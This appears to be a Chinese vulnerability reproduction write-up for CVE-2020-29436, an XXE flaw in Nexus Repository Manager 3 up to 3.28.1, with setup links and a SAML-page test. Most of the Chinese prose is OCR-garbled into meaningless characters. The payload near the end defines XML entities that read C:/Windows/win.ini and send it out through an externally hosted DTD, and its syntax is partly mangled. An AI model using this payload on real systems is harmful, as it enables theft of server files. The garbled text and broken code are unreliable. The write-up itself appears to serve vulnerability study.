CVE-2020-29436: Nexus3 XMLYMRCASENET

Timeline Sec

KR TFIERR

e == A\ 7O/|\
#HRBEENNES

i

——————————————————————————————————————————————————————————————————————————————————————————————————————————

ErhBEeaFEXEED —BERR!
fE&E: KAKRiBF@Timeline Sec
BNFH: 767

PiERI<: 2 ~3min

Ei: BZAEEZAE, SUEREBA

__________________________________________________________________________________________________________

0x01 @&

Nexus Repository Manager 32— BRAMNRHFBECEEE (Universal
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fmS: CVE-2020-29436
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Nexus Repository Manager 3 <= 3.28.1

0x04 FiRHEEE

AMIRIBEZEEIDK 1.8L0 F

BN TE:


javascript:void(0);

https://help.sonatype.com/repomanager3/download/download-archives---repositor)
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HREEES: http://localhost:8081/
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cd /sonatype-work/nexus3
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https://www.sonatype.com/nexus/repository-pro/trial
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http://yourhost:8081/#admin/security/saml
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<VIENTITY % all
"<IENTITY &#x25; send SYSTEM '%file;'>"
>

%all;

EEBpayloadiEE NE X AIEFH

<IDOCTYPE ANY [
% file SYSTEM "file:///C:/Windows/win.ini">
% dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
%dtd;



%»send;
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<ANY>xxe</ANY>
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https://paper.seebug.org/1431/
https://blog.csdn.net/cuncaojin/article/details/81270897
https://www.jianshu.com/p/fcb128e34c87
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